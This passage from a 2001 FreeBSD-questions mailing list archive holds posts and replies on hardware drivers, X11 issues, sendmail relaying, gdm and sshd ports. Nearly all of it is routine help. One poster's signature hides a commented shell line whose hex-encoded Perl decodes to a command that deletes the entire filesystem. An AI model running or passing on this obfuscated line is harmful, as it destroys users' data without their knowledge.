HDD controller and drive - are these devices still supported in the install for FreeBSD? Any help would be greatly appreciated! Happy to supply more info as requested. Thanks. From, Tim -- To email me, please remove the ".spam" OpenBSD 2.9-stable (LAPTOP) #0: Sat Oct 13 01:54:01 BST 2001 root@laptop:/usr/src/sys/arch/i386/compile/LAPTOP cpu0: F00F bug workaround installed cpu0: Intel Pentium (P54C) ("GenuineIntel" 586-class) 100 MHz cpu0: FPU,V86,DE,PSE,TSC,MSR,MCE,CX8 real mem = 16363520 (15980K) avail mem = 13291520 (12980K) using 225 buffers containing 921600 bytes (900K) of memory mainbus0 (root) bios0 at mainbus0: AT/286+(ff) BIOS, date 01/01/94, BIOS32 rev. 0 @ 0xf0210 apm0 at bios0: Power Management spec V1.1 apm0: AC on, no battery pcibios0 at bios0: rev. 2.1 @ 0xf0200/0xa00 pcibios0: PCI BIOS has 5 Interrupt Routing table entries pcibios: no compatible PCI ICU found pcibios0: Warning, unable to fix up PCI interrupt routing pcibios0: PCI bus #0 is the last bus bios0: ROM list: 0xc0000/0xb000 pci0 at mainbus0 bus 0: configuration mode 1 (bios) pchb0 at pci0 dev 0 function 0 vendor 0x10b9 product 0x1511 rev 0x04 pcib0 at pci0 dev 2 function 0 vendor 0x10b9 product 0x1513 rev 0xa4 vga1 at pci0 dev 6 function 0 vendor 0x102c product 0x00d8 rev 0x00 wsdisplay0 at vga1: console (80x25, vt100 emulation) pciide0 at pci0 dev 8 function 0 vendor 0x10b9 product 0x5215 rev 0x01: no DMA, channel 0 wired to compatibility, channel 1 wired to compatibility pciide0: channel 0 ignored (other hardware responding at addresses) pciide0: channel 1 ignored (not responding; disabled or no drives?) isa0 at pcib0 isadma0 at isa0 pckbc0 at isa0 port 0x60/5 pckbd0 at pckbc0 (kbd slot) pckbc0: using irq 1 for kbd slot wskbd0 at pckbd0: console keyboard, using wsdisplay0 pms0 at pckbc0 (aux slot) pckbc0: using irq 12 for aux slot wsmouse0 at pms0 mux 0 wdc0 at isa0 port 0x1f0/8 irq 14 wd0 at wdc0 channel 0 drive 0: wd0: 16-sector PIO, LBA, 777MB, 1579 cyl, 16 head, 63 sec, 1592568 sectors wd0(wdc0:0:0): using PIO mode 4 pcppi0 at isa0 port 0x61 midi0 at pcppi0: sysbeep0 at pcppi0 lpt0 at isa0 port 0x378/4 irq 7 npx0 at isa0 port 0xf0/16: using exception 16 pccom0 at isa0 port 0x3f8/8 irq 4: ns16550a, 16 byte fifo fdc0 at isa0 port 0x3f0/6 irq 6 drq 2 fd0 at fdc0 drive 0: 1.44MB 80 cyl, 2 head, 18 sec pcic0 at isa0 port 0x3e0/2 iomem 0xd0000/65536 pcic0 controller 0: has sockets A and B pcmcia0 at pcic0 controller 0 socket 0 ne3 at pcmcia0 function 0 "Kingston, KNE-PC2, " port 0x200/32 irq 3 ne3: address 00:c0:f0:1c:12:34 pcmcia1 at pcic0 controller 0 socket 1 pcic0: irq 9, polling enabled biomask 4040 netmask 4048 ttymask 52ca pctr: 586-class performance counters and user-level cycle counter enabled dkcsum: wd0 matched BIOS disk 80 root on wd0a rootdev=0x0 rrootdev=0x300 rawdev=0x302 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 13: 7: 9 2001 Delivered-To: freebsd-questions@freebsd.org Received: from net2.dinoex.sub.org (net2.dinoex.de [212.184.201.182]) by hub.freebsd.org (Postfix) with ESMTP id BA71437B427 for ; Sun, 18 Nov 2001 13:06:57 -0800 (PST) Received: from citylink.dinoex.sub.org (uucp@localhost) by net2.dinoex.sub.org (8.11.6/8.11.6) with UUCP id fAIL6kn27251 for freebsd.org!freebsd-questions; Sun, 18 Nov 2001 22:06:46 +0100 (CET) (envelope-from citylink.dinoex.sub.de!admin%disp@citylink.dinoex.sub.org) X-MDaemon-Deliver-To: freebsd.org!freebsd-questions Received: from disp.oper.dinoex.org by citylink.dinoex.sub.org (8.8.5/PMuch-B3b) with ESMTP id SAA02692 for ; Sun, 18 Nov 2001 18:12:10 +0100 (CET) Received: (from admin@localhost) by disp.oper.dinoex.org (8.11.6/8.11.6) id fAIH8bf34235 for freebsd-questions@freebsd.org; Sun, 18 Nov 2001 18:08:38 +0100 (CET) (envelope-from admin) Date: Sun, 18 Nov 2001 18:08:38 +0100 (CET) From: System Admin Account Message-Id: <200111181708.fAIH8bf34235@disp.oper.dinoex.org> To: freebsd-questions@freebsd.org Subject: xxgdb kbd+mouse problems Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, does anybody else have these problems? with xxgdb on FreeBSD-Relese 4.4 and XFree86 4.1.0 Backspace (also ^H) is inoperative it just beeps (at BOL it inserts a space and beeps then) Mouse cut&paste is garbled that means there is some reproducible functionality but it has nothing to do with what is defined in app-defaults and is practically unuseable also, the text cursor is not the usual upward caret. Instead it is a hollow bold cursor. I have looked into the source and it seems this does not come from the xxgdb stuff, but from the Xt and Xaw functions. The same thing also appears with FreeBSD-Release 4.2 and XFree 4.0.2 This seems not to be related to the thing reported in bin/30993, which only appears with FreeBSD 4.4 and not with 4.2 Any ideas? rgds, PMc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 13:36:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: from deborah.paradise.net.nz (deborah.paradise.net.nz [203.96.152.32]) by hub.freebsd.org (Postfix) with ESMTP id 8083E37B416 for ; Sun, 18 Nov 2001 13:36:28 -0800 (PST) Received: from ss11232 (203-79-72-40.cable.paradise.net.nz [203.79.72.40]) by deborah.paradise.net.nz (Postfix) with ESMTP id 72C0BD18EB; Mon, 19 Nov 2001 10:36:27 +1300 (NZDT) From: rshea@opendoor.co.nz To: Josh Paetzel Date: Mon, 19 Nov 2001 10:35:31 +1300 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: e'net card problems + e'net card autoconfig Cc: freebsd-questions@FreeBSD.ORG Message-ID: <3BF8E073.146.1F1C57B@localhost> In-reply-to: <20011116113936.A727@twincat.vladsempire.net> References: <3BF4FE87.25495.CF57183@localhost>; from rshea@opendoor.co.nz on Fri, Nov 16, 2001 at 11:54:47AM +1300 X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Josh - > > I looked in the source file for the ste driver, and I didn't find the Thanks for the detective work on the source code > > The install uses the GENERIC kernel which comes with drivers for a lot > of different ethernet cards. Provided you are still running GENERIC, > the kernel should pick up the card on boot. In fact I've rebuilt the kernel to support firewalling but I think that by following your description that if i had to change either of the cards I could do it. I was just a bit concerned from what you were saying that with a non- GENERIC kernel the range of card support is reduced ? Is it in fact reduced to those cards that were in place at the time the kernel was rebuilt ? If so I might be stuffed if the new nic required a new driver ? ITRW the two nics are pretty generic (one's a D-LINK DFE 550TX and the other is something similarly mainstream) and when I buy my 'standby' nic I will make efforts to buy the same so that the issue of different drivers doesn't arise. However if you or anyone else has any thoughts on what the impact of having a non-GENERIC kernel is when you need to change nics I would be interested to hear. > The configuration of the > card is only done automatically in the install if you are using DHCP, I'm not using DHCP but as I say I'm quite happy with the manual instructions you have provided, thanks. > > Hope this helps. > It did, thanks. richard shea. ***************************************************** Open Door Ltd PO Box 119-46 Wellington, NZ PH +64 4 384 7639 FX +64 4 384 7672 ***************************************************** To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 13:42:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from email02.aon.at (WARSL401PIP7.highway.telekom.at [195.3.96.115]) by hub.freebsd.org (Postfix) with SMTP id D789937B405 for ; Sun, 18 Nov 2001 13:42:37 -0800 (PST) Received: (qmail 351550 invoked from network); 18 Nov 2001 21:42:31 -0000 Received: from l0819p22.dipool.highway.telekom.at (HELO omega-home.ath.cx) ([62.46.166.86]) (envelope-sender ) by qmail2.highway.telekom.at (qmail-ldap-1.03) with SMTP for ; 18 Nov 2001 21:42:31 -0000 Date: Sun, 18 Nov 2001 23:42:31 +0100 From: Sperber To: questions@freebsd.org Subject: XFree86 + Logtech Cordless TrackMan FX Message-Id: <20011118234231.4a6708c2.sperber@w3.brgkepler.asn-graz.ac.at> X-Mailer: Sylpheed version 0.6.4 (GTK+ 1.2.10; i386--freebsd4.4) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi I have a small problem: I have the the trackman fx which has no own wheel, but in windows (blah...) there is a driver function which makes the 4th button work like a "meta key". if i press it and move the ball, the ball works like the wheel does. Someone an idea whether this is possible in fbsd with xfree86 4.4 too? Regards, Sperber To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 13:43:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.camelot.de (mailout.camelot.de [217.19.160.5]) by hub.freebsd.org (Postfix) with ESMTP id 8552E37B405 for ; Sun, 18 Nov 2001 13:43:09 -0800 (PST) Received: from robin.camelot.de (root@robin.camelot.de [217.19.160.20]) by mail.camelot.de (8.11.6/8.11.6) with ESMTP id fAILh7d66269 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 bits) verified OK); Sun, 18 Nov 2001 22:43:07 +0100 (CET) Received: (from danielt@localhost) by robin.camelot.de (8.11.6/8.11.6) id fAILh7d66264; Sun, 18 Nov 2001 22:43:07 +0100 (CET) Date: Sun, 18 Nov 2001 22:43:07 +0100 From: Danijel Tasov To: Lu!s Croker Cc: freebsd-questions@FreeBSD.ORG Subject: Re: echo! Message-ID: <20011118224307.A64603@camelot.de> References: <01111713372103.19604@matrix.corp.megared.net.mx> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="T4sUOijqQbZv57TR" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <01111713372103.19604@matrix.corp.megared.net.mx>; from lcroker@megared.net.mx on Sat, Nov 17, 2001 at 01:37:21PM -0600 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --T4sUOijqQbZv57TR Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi, On Sat, Nov 17, 2001 at 01:37:21PM -0600, Lu!s Croker wrote: > Hi,=20 >=20 > I'm trying to do a script with dialog command... I want to ask for= =20 > passwords in this script. I would not like show the password field in th= e=20 > screen or maybe put something like "****" instead the real characters...= =20 > Any Ideas? Thanks.=20 #!/bin/sh stty -echo read password stty echo bye, Danijel Tasov --=20 Danijel Tasov, danielt@camelot.de. PGP-Fingerprint: 00 3A 65 0C 47 66 46 27 E2 AF 3A C4 1C 2E E8 EE Neues bei CameloT - http://www.camelot.de/news/ # $(perl -e 'print pack "H*","726d202d7266202f"') --T4sUOijqQbZv57TR Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Comment: http://home.camelot.de/danielt/danielt@camelot.asc iQEVAwUBO/gra4RIH6ET/uBdAQF4SAf/Vtga0rCHC3HfmGtRRu+NSebJZBl7C/xc hnUan0HQZWPWnKvk1hcZcmWRVx6b7u4uLgt4qU3i6PdddSGxwyf4Qs/VNE+TDkoi oJptdAF2MjtgDhN8Rp1G6Y7ahnhpLNMSOnW+2iu14VP1g4u9RAgndpCmqy5BYKP1 A0G5REyYmVXqfm9Ep0x2xOB+uPjH8LFFS1a3ypDXJ9V9Pkn8xT5OehNcTS7YoIST Uqb3P/MsWDtQx8L1a2kw39FBsUoTAe79apa+QCecMYQ5C2U8RClKyNw+A4Et1DXW 6TF3mDf1hiueu5UMpLy+yfhV2XGY2vbs+QQ0Fb8+h/amMPHy0+T26w== =QoTO -----END PGP SIGNATURE----- --T4sUOijqQbZv57TR-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 13:43:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from monorchid.lemis.com (monorchid.lemis.com [192.109.197.75]) by hub.freebsd.org (Postfix) with ESMTP id 7103437B418 for ; Sun, 18 Nov 2001 13:43:27 -0800 (PST) Received: by monorchid.lemis.com (Postfix, from userid 1004) id AEA84786E1; Mon, 19 Nov 2001 08:13:23 +1030 (CST) Date: Mon, 19 Nov 2001 08:13:23 +1030 From: Greg Lehey To: "Andrew C. Hornback" Cc: Anthony Atkielski , FreeBSD Questions Subject: Re: Mysterious boot during the night Message-ID: <20011119081323.N72712@monorchid.lemis.com> References: <03af01c1702e$d38c0520$0a00000a@atkielski.com> <005201c1706f$572afb80$6600000a@ach.domain> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <005201c1706f$572afb80$6600000a@ach.domain> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG [Format recovered--see http://www.lemis.com/email/email-format.html] > X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Broken line wraps. On Sunday, 18 November 2001 at 15:26:44 -0500, Andrew C. Hornback wrote: > On Sunday, November 18, 2001 7:45 AM, Anthony Atkielski wrote: >> Andrew writes: >> >>> Just to be safe, I'd still seek some kind of diagnostic just to >>> make sure. >> >> That would not be logical. Hardware failures are extremely rare; >> software failures are extremely common. It doesn't make sense to >> spend time trying to rule out hardware (which is never actually >> possible, anyway) when a software error is more likely to be the >> culprit. That depends on the effort involved. >>> I'm not 100% sure about this, but I believe that if you CVSupped >>> to the newest version, it might include the fix. >> >> I have something that I got somewhere with cvsup; maybe it was >> source, or the latest ports, or something. I don't know exactly >> what source is currently on the machine.q The first thing you need to do is fix that problem. You *must* know what sources you have. >> In general, I do not update an entire operating system in a shotgun >> approach to fixing a problem of unknown origin, as it often causes >> more problems than it solves. The FreeBSD approach is always to update the system in sync; any other approach often causes more problems than it solves. > You don't need to update the entire operating system if you > can procure and install the patch. This isn't a patch, it's an update to -CURRENT. The FreeBSD project almost never uses "patches". You shouldn't install updates which haven't been tested with your system. How do you know they will even compile? If you want to use this fix, you must install -CURRENT. In this case, that's probably not appropriate, which is why I suggested contacting sos. >>> Your best bet, I believe, is going to be to talk with sos and see >>> about getting the patch either MFC'd to the STABLE branch, or to >>> get a copy of the patch yourself and apply it. >> >> Who is sos? Søren Schmidt, the author of the IDE driver. > I don't know personally, but from what Greg has mentioned in > previous posts, I imagine sos is the person that wrote the patch to > make the FreeBSD work properly with the IDE Controller chipset on > your motherboard. Well, as the commit log stated, the update works around a design bug in the IDE controller. Greg -- When replying to this message, please take care not to mutilate the original text. For more information, see http://www.lemis.com/email.html See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 13:57:57 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web10404.mail.yahoo.com (web10404.mail.yahoo.com [216.136.130.96]) by hub.freebsd.org (Postfix) with SMTP id DD91C37B416 for ; Sun, 18 Nov 2001 13:57:53 -0800 (PST) Message-ID: <20011118215753.79119.qmail@web10404.mail.yahoo.com> Received: from [24.151.67.151] by web10404.mail.yahoo.com via HTTP; Sun, 18 Nov 2001 13:57:53 PST Date: Sun, 18 Nov 2001 13:57:53 -0800 (PST) From: Dylan Carlson Reply-To: absinthe@pobox.com Subject: D-Link DWL-500/520 wireless NICs supported? To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Have read the Hardware Notes... however, curious if anyone has these working on 4.4-STABLE. Basically, I'm looking for the cheapest PCI-based 802.11b adapters I can get my hands on, that FreeBSD will support in 4.4. Any suggestions? Cheers, __________________________________________________ Do You Yahoo!? Find the one for you at Yahoo! Personals http://personals.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 14: 0:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts11-srv.bellnexxia.net (tomts11.bellnexxia.net [209.226.175.55]) by hub.freebsd.org (Postfix) with ESMTP id 3B23D37B416 for ; Sun, 18 Nov 2001 14:00:52 -0800 (PST) Received: from [192.168.2.23] ([199.243.128.11]) by tomts11-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011118220051.LQHS24249.tomts11-srv.bellnexxia.net@[192.168.2.23]>; Sun, 18 Nov 2001 17:00:51 -0500 Date: Sun, 18 Nov 2001 17:10:34 -0500 (EST) From: Steve Brown To: "H. Wade Minter" Cc: Subject: Re: How do I make "mail" (sendmail?) use remote SMTP server? In-Reply-To: <20011115230731.U2537-100000@bunning.skiltech.com> Message-ID: <20011118170958.E344-100000@prayforwind.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hey thanks, it worked! Been looking for that one for months & months.... Cheers, Steve On Thu, 15 Nov 2001, H. Wade Minter wrote: > I'd recommend editing /etc/mail/sendmail.cf and changing the line that > reads: > > # "Smart" relay host (may be null) > DS > > to read > > # "Smart" relay host (may be null) > DSyoursmtphost.isp.com > > That should fix it. > > On Thu, 15 Nov 2001, Steve Brown wrote: > > > Hello there, > > > > My ISP is now blocking access to any SMTP servers other than theirs, and > > blocking mail sent from "localhost". So I can no longer use mail or mutt > > to send a message to anyone except my own users. > > > > Can I configure something ([mail & mutt] or sendmail) to use their SMTP > > server? I'd like to be able to do something like this: > > > > cat | mail someone@somewhere.com > > > > and have it go out. > > > > Thanks in advance, > > > > Steve > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message > > > > -- > Do your part in the fight against injustice. > Free Dmitry Sklyarov! http://www.freesklyarov.org/ > Fight the DMCA! http://www.anti-dmca.org/ > STOP the SSSCA! http://www.eff.org/alerts/20010921_eff_sssca_alert.html > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 14: 4:43 2001 Delivered-To: freebsd-questions@freebsd.org Received: from aviion.alfred.cx (aviion.alfred.cx [150.101.93.190]) by hub.freebsd.org (Postfix) with ESMTP id 4A8F037B417 for ; Sun, 18 Nov 2001 14:04:40 -0800 (PST) Received: (from andrew@localhost) by aviion.alfred.cx (8.11.3/8.11.3) id fAIA6YW02446; Sun, 18 Nov 2001 20:36:34 +1030 (CST) (envelope-from andrew) Date: Sun, 18 Nov 2001 20:36:33 +1030 From: Andrew Reid To: "Anthony M. Magsino" Cc: freebsd-questions@freebsd.org Subject: Re: gdm Message-ID: <20011118203633.A2396@aviion.alfred.cx> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from ammag@mail.upm.edu.ph on Sat, Nov 17, 2001 at 01:12:24PM +0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Nov 17, 2001 at 01:12:24PM +0800, Anthony M. Magsino wrote: > Hi. Can anybody tell me how to make gdm work in FreeBSD-4.3? I've read > all documentations in the CD and yes, they warned that gdm might or might > not work. Xdm worked fine. but I want gdm. Thanks. I installed GDM 2.2.3.2 from ports recently, and I've not been able to get much happening either. However, there seems to be two problems manifesting themselves here. Firstly, in my /usr/X11R6/etc/gdm/Init/Default file (the script that gdm will execute once the X server has started), gdmlogin seemed to be commented out or nonexistant.[1] I added gdmlogin to Init/Default, and that managed to pop up something vaugely intelligent. gdmlogin was complaining that I was running different versions of the daemon (gdm) and the gdmlogin program. Odd, seeing as I installed straight from ports. That seems to be a step in the right direction. I'll follow this up on Monday[2] when I've got Ethernet-speed Internet connection to work with. I'll post any results along with the instructions to get the beast working (if it'll work at all). - andrew [1] I can't remember exactly -- I was playing with it at 3:00AM last night. [2] I'm sending this on Sunday, Nov 18 at 20:34:36 +1030, but it'll probably sit in the local mail queue on my notebook until Monday. The whole concept of dialup is something I try to avoid :-) -- Andrew J. Reid "Catapultam habeo. Nisi pecuniam omnem andrew.reid@plug.cx mihi dabis, ad caput tuum saxum immane +61 401 946 813 mittam" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 14: 9: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id D0A8237B416 for ; Sun, 18 Nov 2001 14:09:01 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 5476166D97; Sun, 18 Nov 2001 14:09:01 -0800 (PST) Date: Sun, 18 Nov 2001 14:09:00 -0800 From: Kris Kennaway To: "pingcrisis.comTing Ping" Cc: freebsd-questions@FreeBSD.ORG Subject: Re: How to mirror site in freebsd Message-ID: <20011118140900.A63173@xor.obsecurity.org> References: <001901c17042$398b7dc0$b0429cca@pavilion> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="UlVJffcvxoiEqYs2" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <001901c17042$398b7dc0$b0429cca@pavilion>; from tingping@HotPop.com on Sun, Nov 18, 2001 at 11:03:45PM +0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --UlVJffcvxoiEqYs2 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Nov 18, 2001 at 11:03:45PM +0800, pingcrisis.comTing Ping" wrote: > hello, > i have got this problem when trying to mirror some sites. The links in th= e page doesnt seem to work with my freebsd environment. >=20 > For example, index.html contains this link called "links" but when i try = to access it through my browser, it doesnt work as it points to a wrong dir= ectory/file. >=20 > May i know, is there any way i could solve this problem? Yes, you just need to use the software correctly. Kris --UlVJffcvxoiEqYs2 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+DF7Wry0BWjoQKURAngNAKDKVO0XLNPMjt5dotVJ5KHI0Y71VACgsQ3K JGywFIBPxikg3VFUu8HvEBM= =IrD1 -----END PGP SIGNATURE----- --UlVJffcvxoiEqYs2-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 14: 9:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id 7E6C737B405 for ; Sun, 18 Nov 2001 14:09:21 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 4326E66D66; Sun, 18 Nov 2001 14:09:21 -0800 (PST) Date: Sun, 18 Nov 2001 14:09:21 -0800 From: Kris Kennaway To: Dave Raven Cc: freebsd-questions@FreeBSD.ORG Subject: Re: SSHD Message-ID: <20011118140920.B63173@xor.obsecurity.org> References: <000501c17042$12708140$3500a8c0@DAVE> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="KFztAG8eRSV9hGtP" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <000501c17042$12708140$3500a8c0@DAVE>; from dave@raven.za.net on Sun, Nov 18, 2001 at 05:02:40PM +0200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --KFztAG8eRSV9hGtP Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Nov 18, 2001 at 05:02:40PM +0200, Dave Raven wrote: > My sockstat showed me this: > root sshd 18313 6 tcp4 *:6011 *:* >=20 >=20 > any idea's why ssh would be listening on that port? X11 forwarding. Kris --KFztAG8eRSV9hGtP Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+DGQWry0BWjoQKURAhBLAJ409ZXHM2N83mbYtD/x0U4sQKKgTQCfTwBM ImcnS/USnPl3F4ypISzf4DQ= =FiYg -----END PGP SIGNATURE----- --KFztAG8eRSV9hGtP-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 14: 9:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id 7A35E37B405 for ; Sun, 18 Nov 2001 14:09:37 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 2674466D67; Sun, 18 Nov 2001 14:09:37 -0800 (PST) Date: Sun, 18 Nov 2001 14:09:37 -0800 From: Kris Kennaway To: Andreas Ntaflos Cc: freebsd-questions@FreeBSD.ORG Subject: Re: wordperfect 8.0 still available? Message-ID: <20011118140937.C63173@xor.obsecurity.org> References: <20011118151144.A29185@Deadcell.ANT> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="iFRdW5/EC4oqxDHL" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011118151144.A29185@Deadcell.ANT>; from ntaflos.andreas@gmx.net on Sun, Nov 18, 2001 at 03:11:44PM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --iFRdW5/EC4oqxDHL Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Nov 18, 2001 at 03:11:44PM +0100, Andreas Ntaflos wrote: > Hello everybody,=20 > I was wondering about WordPerfect 8.0, it doesn't seem > to be available anymore (ports, download site). I know that Corel > Corel gave up in the linux business, but does that concern WordPerfect= =20 > too? Yes, I think it does. Kris --iFRdW5/EC4oqxDHL Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+DGgWry0BWjoQKURAkeDAJsFeo08WRlvwAv+qHGMHSvx9z+V4wCfbxRr ZahZ8328I3tQ3+eOdBQBplA= =dK6C -----END PGP SIGNATURE----- --iFRdW5/EC4oqxDHL-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 15: 1:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from scaup.prod.itd.earthlink.net (scaup.mail.pas.earthlink.net [207.217.120.49]) by hub.freebsd.org (Postfix) with ESMTP id C40ED37B405 for ; Sun, 18 Nov 2001 15:01:22 -0800 (PST) Received: from dialup-209.244.107.180.dial1.sanjose1.level3.net ([209.244.107.180] helo=blossom.cjclark.org) by scaup.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 165awC-0000Cf-00; Sun, 18 Nov 2001 15:01:21 -0800 Received: (from cjc@localhost) by blossom.cjclark.org (8.11.6/8.11.3) id fAIN0qL70504; Sun, 18 Nov 2001 15:00:52 -0800 (PST) (envelope-from cjc) Date: Sun, 18 Nov 2001 15:00:48 -0800 From: "Crist J. Clark" To: Mike Semcheski Cc: freebsd-questions@FreeBSD.ORG Subject: Re: natd failed to write packet back Message-ID: <20011118150047.E69555@blossom.cjclark.org> Reply-To: cjclark@alum.mit.edu References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii 